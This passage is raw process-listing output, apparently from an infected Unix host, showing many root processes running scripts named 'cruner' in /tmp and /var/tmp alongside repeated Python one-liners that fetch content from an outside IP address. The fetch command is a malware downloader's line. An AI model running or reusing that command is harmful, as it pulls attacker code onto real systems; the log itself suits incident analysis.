fbi.urlopen("http://209.141.40.190/xms"). > root 13819 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7656 24514 0 - ? 0:00 <defunct> > root 25215 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21681 22331 0 15:46:09 ? 0:00 bash -sh > root 10345 24896 0 15:45:45 ? 0:00 sleep 60 > root 15992 12548 0 15:43:39 ? 0:00 bash -sh > root 14272 9234 0 15:45:59 ? 0:00 bash -sh > root 20460 13306 0 15:46:00 ? 0:00 /bin/ksh -p /bin/kill -9 > root 21916 13875 0 - ? 0:00 <defunct> > root 20623 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25340 15605 0 15:45:47 ? 0:00 sleep 60 > root 7891 22562 0 15:45:09 ? 0:00 bash -sh > root 6369 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18002 19052 0 15:45:46 ? 0:00 sleep 60 > root 17715 11732 0 15:46:08 ? 0:00 bash -sh > root 20988 22124 0 - ? 0:00 <defunct> > root 6409 27614 0 15:43:31 ? 0:00 bash -sh > root 13253 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19295 24439 0 15:45:51 ? 0:00 sh /tmp/cruner > root 8020 27805 0 15:45:49 ? 0:00 /bin/ksh -p /bin/kill -9 > root 1752 1747 0 15:44:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22875 10093 0 15:45:30 ? 0:00 bash -sh > root 19038 18871 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7824 29822 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10316 21978 0 15:44:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20669 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6545 8530 0 15:44:56 ? 0:00 bash -sh > root 2092 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4271 126 0 15:44:02 ? 0:00 bash -sh > root 29672 28276 0 15:45:14 ? 0:00 bash -sh > root 54 24194 0 - ? 0:00 <defunct> > root 19567 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14657 14646 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12579 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4494 11700 0 15:45:35 ? 0:00 sleep 60 > root 12426 20994 0 15:45:36 ? 0:00 bash -sh > root 15738 15472 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 27420 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 2968 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18046 1 0 13:04:49 ? 0:00 sh /var/tmp/cruner > root 21607 10777 0 15:45:33 ? 0:00 sleep 60 > root 8800 20342 0 - ? 0:00 <defunct> > root 20151 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 22254 20725 0 15:45:42 ? 0:00 bash -sh > root 463 5897 0 - ? 0:00 <defunct> > root 20140 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19409 4725 0 15:43:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17765 16433 0 - ? 0:00 <defunct> > root 19133 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4442 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12297 22594 0 - ? 0:00 <defunct> > root 4165 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10487 25004 0 - ? 0:00 <defunct> > root 23140 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29758 9635 0 15:45:34 ? 0:00 sleep 60 > root 24877 22312 0 15:45:13 ? 0:00 sleep 60 > root 14904 7369 0 - ? 0:00 <defunct> > root 22585 1945 0 15:44:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25973 20174 0 15:46:01 ? 0:00 sleep 60 > root 18301 17315 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 20122 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12189 10235 0 15:45:11 ? 0:00 bash -sh > root 25213 11081 0 15:45:07 ? 0:00 bash -sh > root 4104 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 3791 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4115 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8372 9894 0 15:45:40 ? 0:00 sh /var/tmp/cruner > root 24756 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23021 15407 0 15:45:33 ? 0:00 sleep 60 > root 28477 26185 0 15:44:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29295 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18 29990 0 15:44:37 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3328 22127 0 - ? 0:00 <defunct> > root 15341 14849 0 15:43:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10557 1398 0 15:45:28 ? 0:00 sleep 60 > root 18612 16770 0 - ? 0:00 <defunct> > root 14376 475 0 - ? 0:00 <defunct> > root 4923 4391 0 - ? 0:00 <defunct> > root 29408 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3103 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 9201 24152 0 15:44:24 ? 0:00 bash -sh > root 3431 20401 0 15:45:54 ? 0:00 sleep 60 > root 18752 17294 0 15:46:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11781 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5587 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1788 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12563 12518 0 - ? 0:00 <defunct> > root 21379 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28224 11459 0 15:45:08 ? 0:00 bash -sh > root 21107 22319 0 15:45:26 ? 0:00 sleep 60 > root 20635 1021 0 - ? 0:00 <defunct> > root 7859 4094 0 - ? 0:00 <defunct> > root 25250 10259 0 - ? 0:00 <defunct> > root 3041 3031 0 15:44:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10194 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25232 17253 0 15:45:07 ? 0:00 bash -sh > root 26222 14878 0 15:43:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17591 15722 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29535 6647 0 15:45:18 ? 0:00 sleep 60 > root 9386 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26666 29875 0 15:44:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2909 2904 0 15:45:53 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18194 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 832 6436 0 15:45:31 ? 0:00 bash -sh > root 15329 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15293 15258 0 15:45:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 251 21016 0 - ? 0:00 <defunct> > root 14094 28335 0 15:45:50 ? 0:00 bash -sh > root 14793 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 10293 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5332 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22374 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24247 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3425 2355 0 15:45:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18995 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21277 9368 0 15:45:56 ? 0:00 /bin/ksh -p /bin/kill -9 > root 29174 16711 0 15:45:43 ? 0:00 bash -sh > root 16517 25271 0 15:45:22 ? 0:00 sleep 60 > root 19493 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17947 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 6597 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 7691 5047 0 15:45:36 ? 0:00 bash -sh > root 18385 18261 0 15:45:12 ? 0:00 bash -sh > root 11511 19571 0 - ? 0:00 <defunct> > root 20296 18078 0 15:45:42 ? 0:00 sleep 60 > root 16813 11135 0 15:44:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29756 27013 0 15:45:18 ? 0:00 sleep 60 > root 11603 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16886 26087 0 15:46:00 ? 0:00 sh /tmp/cruner > root 29851 22628 0 15:44:55 ? 0:00 bash -sh > root 27933 10159 0 - ? 0:00 <defunct> > root 28294 8097 0 15:44:10 ? 0:00 bash -sh > root 8580 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 3723 11707 0 - ? 0:00 <defunct> > root 15347 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 5717 27938 0 15:45:44 ? 0:00 bash -sh > root 9299 20041 0 15:45:41 ? 0:00 xargs kill -9 > root 6153 9888 0 15:43:31 ? 0:00 bash -sh > root 8786 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19713 22257 0 15:46:00 ? 0:00 sleep 60 > root 14683 24001 0 15:45:37 ? 0:00 bash -sh > root 16957 11658 0 15:46:00 ? 0:00 sh /tmp/cruner > root 1428 1059 0 15:44:22 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6835 17696 0 - ? 0:00 <defunct> > root 24074 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15976 18158 0 15:45:41 ? 0:00 bash -sh > root 18562 14367 0 - ? 0:00 <defunct> > root 3038 15934 0 15:45:54 ? 0:00 sleep 60 > root 13500 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15954 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18902 18400 0 15:46:00 ? 0:00 sleep 60 > root 28928 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 16307 10082 0 15:45:42 ? 0:00 bash -sh > root 5504 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 11570 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4834 21372 0 15:46:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29977 29968 0 15:45:27 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21061 1836 0 15:45:22 ? 0:00 sleep 60 > root 1277 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4765 1 0 01:41:45 ? 0:00 sh /var/tmp/cruner > root 4381 21943 0 - ? 0:00 <defunct> > root 6595 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 9845 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12882 10628 0 15:43:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21989 9436 0 15:45:38 ? 0:00 bash -sh > root 4882 4768 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 800 23212 0 - ? 0:00 <defunct> > root 20387 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14418 8306 0 15:46:08 ? 0:00 sleep 60 > root 6423 10188 0 - ? 0:00 <defunct> > root 10793 19937 0 15:44:47 ? 0:00 bash -sh > root 6209 10984 0 15:45:20 ? 0:00 sleep 60 > root 13089 18322 0 - ? 0:00 <defunct> > root 12400 12762 0 - ? 0:00 <defunct> > root 29133 7363 0 15:44:21 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9699 24805 0 - ? 0:00 <defunct> > root 8846 23207 0 15:46:07 ? 0:00 sleep 60 > root 7488 18800 0 15:45:40 ? 0:00 sleep 60 > root 22876 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 14669 16015 0 15:46:04 ? 0:00 bash -sh > root 5419 1 0 00:44:45 ? 0:00 sh /var/tmp/cruner > root 12931 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27098 26932 0 15:45:47 ? 0:00 sleep 60 > root 3306 5511 0 15:46:06 ? 0:00 sleep 60 > root 19401 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3912 12786 0 15:46:06 ? 0:00 sleep 60 > root 13681 28556 0 15:45:41 ? 0:00 sleep 60 > root 8784 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24968 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28274 25158 0 15:45:34 ? 0:00 sleep 60 > root 21817 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16137 20905 0 - ? 0:00 <defunct> > root 1186 2345 0 15:45:58 ? 0:00 sleep 60 > root 5819 12222 0 15:45:35 ? 0:00 bash -sh > root 9838 8112 0 15:45:15 ? 0:00 bash -sh > root 21902 16234 0 15:46:09 ? 0:00 xargs kill -9 > root 23007 15702 0 15:45:47 ? 0:00 xargs kill -9 > root 21086 21051 0 15:46:09 ? 0:00 /bin/ksh -p /bin/kill -9 > root 28088 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29382 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 9459 2301 0 15:45:41 ? 0:00 sh /tmp/cruner > root 22024 15120 0 15:45:57 ? 0:00 sleep 60 > root 16728 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17413 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16857 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6743 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10574 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29850 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1326 12897 0 15:45:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14619 25622 0 15:46:08 ? 0:00 sh /tmp/cruner > root 20854 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1078 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13167 5711 0 - ? 0:00 <defunct> > root 6310 11836 0 15:44:56 ? 0:00 bash -sh > root 19410 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19355 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23544 18932 0 15:45:02 ? 0:00 bash -sh > root 25206 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18490 28893 0 - ? 0:00 <defunct> > root 25957 16129 0 - ? 0:00 <defunct> > root 7186 29645 0 15:45:20 ? 0:00 sleep 60 > root 10815 16320 0 15:45:41 ? 0:00 sleep 60 > root 22415 28645 0 - ? 0:00 <defunct> > root 9755 29135 0 15:46:07 ? 0:00 sleep 60 > root 1499 18741 0 15:45:48 ? 0:00 sleep 60 > root 20039 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10510 21229 0 15:45:50 ? 0:00 sh /tmp/cruner > root 12451 8890 0 15:46:08 ? 0:00 /bin/ksh -p /bin/kill -9 > root 19832 16960 0 15:43:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3999 6066 0 15:44:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3918 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3969 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15653 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16648 29306 0 15:43:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20600 20244 0 - ? 0:00 <defunct> > root 11903 27716 0 15:45:59 ? 0:00 bash -sh > root 4279 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21147 15491 0 - ? 0:00 <defunct> > root 2112 4031 0 15:45:48 ? 0:00 sleep 60 > root 23144 20957 0 15:45:47 ? 0:00 sh /var/tmp/cruner > root 20646 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 8956 6869 0 - ? 0:00 <defunct> > root 6020 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2912 1 0 17:11:53 ? 0:01 sh /var/tmp/cruner > root 24182 509 0 15:44:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14346 5561 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 18379 11744 0 15:46:09 ? 0:00 xargs kill -9 > root 512 20573 0 15:46:06 ? 0:00 bash -sh > root 13777 13753 0 15:43:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28886 28825 0 15:46:02 ? 0:00 sleep 60 > root 1615 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26415 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15058 9449 0 15:45:05 ? 0:00 bash -sh > root 28735 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24618 15310 0 15:45:17 ? 0:00 sleep 60 > root 725 1561 0 - ? 0:00 <defunct> > root 15783 26362 0 15:43:33 ? 0:00 bash -sh > root 20472 20154 0 15:45:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22474 21110 0 15:45:42 ? 0:00 xargs kill -9 > root 17269 20475 0 15:44:57 ? 0:00 bash -sh > root 9836 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2620 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18535 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24336 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1213 19782 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12253 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8224 13012 0 15:45:05 ? 0:00 bash -sh > root 28038 12352 0 15:43:41 ? 0:00 bash -sh > root 28899 16058 0 15:45:18 ? 0:00 sleep 60 > root 26752 2551 0 15:45:13 ? 0:00 bash -sh > root 18709 18704 0 - ? 0:00 <defunct> > root 4118 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19240 16961 0 15:46:00 ? 0:00 sleep 60 > root 8982 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14177 23319 0 15:45:41 ? 0:00 xargs kill -9 > root 25799 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 12645 2237 0 15:46:08 ? 0:00 bash -sh > root 21540 13260 0 15:44:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13830 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1149 1097 0 - ? 0:00 <defunct> > root 27789 9214 0 - ? 0:00 <defunct> > root 4321 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6165 6115 0 15:45:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 557 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18571 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 2774 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23033 5097 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 28639 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2754 10337 0 15:45:48 ? 0:00 sleep 60 > root 24921 21910 0 - ? 0:00 <defunct> > root 3348 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19382 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11988 11940 0 - ? 0:00 <defunct> > root 13567 28770 0 15:46:04 ? 0:00 sleep 60 > root 24762 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24768 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24984 9213 0 - ? 0:00 <defunct> > root 17792 22769 0 - ? 0:00 <defunct> > root 22522 22521 0 - ? 0:00 <defunct> > root 28494 28486 0 - ? 0:00 <defunct> > root 2762 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7769 3876 0 - ? 0:00 <defunct> > root 23612 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8022 18547 0 15:45:09 ? 0:00 sleep 60 > root 2347 15356 0 15:45:27 ? 0:00 bash -sh > root 21953 9950 0 15:46:09 ? 0:00 sh /var/tmp/cruner > root 23964 13810 0 15:45:43 ? 0:00 sleep 60 > root 11849 8811 0 - ? 0:00 <defunct> > root 27749 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4714 15355 0 15:45:58 ? 0:00 sleep 60 > root 20216 11913 0 15:46:09 ? 0:00 sleep 60 > root 18337 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 1675 16280 0 - ? 0:00 <defunct> > root 5393 14440 0 - ? 0:00 <defunct> > root 4691 24416 0 - ? 0:00 <defunct> > root 24843 7290 0 15:44:54 ? 0:00 bash -sh > root 23349 16570 0 15:46:01 ? 0:00 sh /tmp/cruner > root 22794 22845 0 15:46:01 ? 0:00 sh /tmp/cruner > root 8971 6297 0 15:45:40 ? 0:00 bash -sh > root 23889 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17102 13159 0 15:46:00 ? 0:00 xargs kill -9 > root 27139 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13221 17263 0 15:44:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18852 15885 0 - ? 0:00 <defunct> > root 11485 11474 0 - ? 0:00 <defunct> > root 5525 19703 0 - ? 0:00 <defunct> > root 27221 14327 0 15:45:18 ? 0:00 sleep 60 > root 1417 24494 0 15:45:19 ? 0:00 sleep 60 > root 10624 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4816 16343 0 15:43:54 ? 0:00 bash -sh > root 1863 10941 0 - ? 0:00 <defunct> > root 7495 10095 0 15:42:40 ? 0:00 bash -sh > root 4741 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 29655 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 1295 27352 0 15:45:58 ? 0:00 sleep 60 > root 16625 15146 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16294 2285 0 15:45:22 ? 0:00 sleep 60 > root 1335 23247 0 15:46:06 ? 0:00 bash -sh > root 8532 8431 0 15:45:36 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4669 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6546 24947 0 - ? 0:00 <defunct> > root 15790 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13018 17892 0 - ? 0:00 <defunct> > root 14382 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 13841 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17212 1185 0 15:45:12 ? 0:00 sh /tmp/cruner > root 21961 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23041 2783 0 15:45:33 ? 0:00 sleep 60 > root 221 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4001 27635 0 15:46:06 ? 0:00 sleep 60 > root 28676 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20519 11677 0 - ? 0:00 <defunct> > root 20704 29010 0 - ? 0:00 <defunct> > root 10319 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3522 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6794 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23576 14909 0 15:45:43 ? 0:00 bash -sh > root 28684 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12152 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7176 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3193 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12731 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23887 7206 0 15:45:23 ? 0:00 bash -sh > root 9185 9762 0 - ? 0:00 <defunct> > root 948 7004 0 15:44:11 ? 0:00 bash -sh > root 774 24855 0 15:45:39 ? 0:00 sleep 60 > root 19967 26275 0 - ? 0:00 <defunct> > root 22927 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13381 25486 0 15:46:08 ? 0:00 xargs kill -9 > root 9150 13751 0 15:46:07 ? 0:00 sleep 60 > root 29253 6585 0 - ? 0:00 <defunct> > root 10767 15862 0 15:43:59 ? 0:00 bash -sh > root 6814 19346 0 - ? 0:00 <defunct> > root 12587 19698 0 15:44:25 ? 0:00 bash -sh > root 3427 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8796 2757 0 15:45:25 ? 0:00 sleep 60 > root 4794 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22895 9060 0 - ? 0:00 <defunct> > root 20252 18331 0 15:44:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26286 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27005 5136 0 15:45:07 ? 0:00 bash -sh > root 4170 11383 0 15:46:06 ? 0:00 sleep 60 > root 19525 15390 0 15:43:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4866 7281 0 - ? 0:00 <defunct> > root 12071 14148 0 - ? 0:00 <defunct> > root 2489 23134 0 15:45:14 ? 0:00 bash -sh > root 11840 15791 0 15:45:25 ? 0:00 bash -sh > root 6492 29928 0 - ? 0:00 <defunct> > root 6439 7909 0 15:46:06 ? 0:00 bash -sh > root 231 17741 0 15:43:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5031 24102 0 15:45:49 ? 0:00 bash -sh > root 10803 7687 0 15:45:55 ? 0:00 bash -sh > root 9758 7216 0 15:43:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 386 341 0 15:45:44 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11357 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8886 23888 0 15:45:28 ? 0:00 sleep 60 > root 20626 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26368 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12659 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24891 26474 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 7181 19412 0 15:45:28 ? 0:00 sleep 60 > root 12167 1 0 01:18:42 ? 0:00 sh /var/tmp/cruner > root 7323 765 0 15:45:36 ? 0:00 bash -sh > root 6689 18964 0 - ? 0:00 <defunct> > root 24496 23271 0 15:44:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15014 6879 0 15:43:39 ? 0:00 bash -sh > root 29339 5581 0 15:45:24 ? 0:00 bash -sh > root 9965 27551 0 15:44:47 ? 0:00 bash -sh > root 29871 16351 0 - ? 0:00 <defunct> > root 1813 10332 0 15:44:11 ? 0:00 bash -sh > root 17217 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7064 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 20793 27396 0 15:45:38 ? 0:00 sleep 60 > root 15376 125 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 20282 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4473 6388 0 15:45:49 ? 0:00 bash -sh > root 21471 29456 0 15:45:17 ? 0:00 bash -sh > root 7597 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 7261 1375 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12961 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21862 27566 0 15:45:12 ? 0:00 bash -sh > root 28637 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2206 20150 0 15:45:19 ? 0:00 sleep 60 > root 16988 17116 0 15:46:00 ? 0:00 sh /tmp/cruner > root 17929 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3191 24917 0 15:46:06 ? 0:00 xargs kill -9 > root 27725 9246 0 - ? 0:00 <defunct> > root 22776 7927 0 15:44:32 ? 0:00 bash -sh > root 28935 8426 0 - ? 0:00 <defunct> > root 2103 27813 0 15:44:11 ? 0:00 bash -sh > root 25249 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23253 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 2624 7607 0 15:45:19 ? 0:00 sleep 60 > root 20838 13766 0 - ? 0:00 <defunct> > root 15721 17698 0 15:46:08 ? 0:00 bash -sh > root 2521 11616 0 15:45:40 ? 0:00 bash -sh > root 1416 19756 0 15:44:11 ? 0:00 bash -sh > root 8261 8234 0 - ? 0:00 <defunct> > root 11200 3222 0 15:45:10 ? 0:00 bash -sh > root 2603 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10642 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 563 19058 0 